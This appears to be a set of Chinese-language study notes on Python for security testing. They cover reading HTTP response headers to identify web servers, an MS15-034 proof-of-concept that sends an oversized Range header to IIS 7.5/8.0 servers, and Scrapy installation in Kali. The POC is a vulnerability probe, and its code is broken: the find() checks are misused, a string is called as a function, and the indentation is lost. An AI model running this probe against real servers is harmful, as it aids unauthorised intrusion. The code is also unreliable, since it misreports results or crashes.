# 迎风布阵
import requests
url = "http://www.baidu.com"
r = requests.options(url)
print(r)
print(r.headers)
print(r.headers["Connection"])
options为请求类型,详细参考
https://blog.csdn.net/weixin_45943355/article/details/125223919
值得一提到是注意print(r.headers[“Connection”])的输出结果,体会用法。
获取http服务器信息
# 迎风布阵
import requests
url = "http://192.168.248.129/"
r = requests.get(url)
print(r.headers)
print("服务器中间件为:"+r.headers["Server"])
获取服务器的信息都是从响应头中获取
漏洞检测工具
ms15-034 POC编写
import requests
url = "http://192.168.248.129"
r = requests.get(url)
# 检测当前版本是否为存在漏洞单版本
remote_server = r.headers['Server']
if remote_server.find("IIS/7.5") or remote_server("IIS/8.0"):
# Host: stuff\r\nRange: bytes = 0 - 18446744073709551615\r\n\r\n
# 以上为在网站找到的pyload代码
# 将pyload写入到头中
payload = {'Host': 'stuff', 'Range': 'bytes = 0 - 18446744073709551615'}
r1 = requests.get(url, headers=payload)
# 如果返回到文本中存在Requested Range Not Satisfiable,则证明可能存在漏洞
if str(r1.content).find("Requested Range Not Satisfiable"):
print(url + " exist vuln ms15-034")
else:
print(url + "not exist vuln ms15-034")
else:
print("Server not a iis 7.5 or iil 8.0")
Scrapy介绍与安装
在kali中安装,安装到bin下面
输入scrapy
会出现可用参数
创建项目
scrapy startproject <project_name> [project_dir]
scrapy startproject +项目名称+文件路径
进入路径下
会看到一下文件
items.py 设置要爬取的字段
pipelines.py 设置保存爬取内容
setting.py 设置文件,如User-Agent
上一层目录中的scrapy.cfg 用来部署最终完成的爬虫脚本
退出到第一层目录,输入scrapy genspider example example.com
后,spiders文件中才会出现一个爬虫的脚本框架
通过修改里面的内容以及配置文件才进行爬取。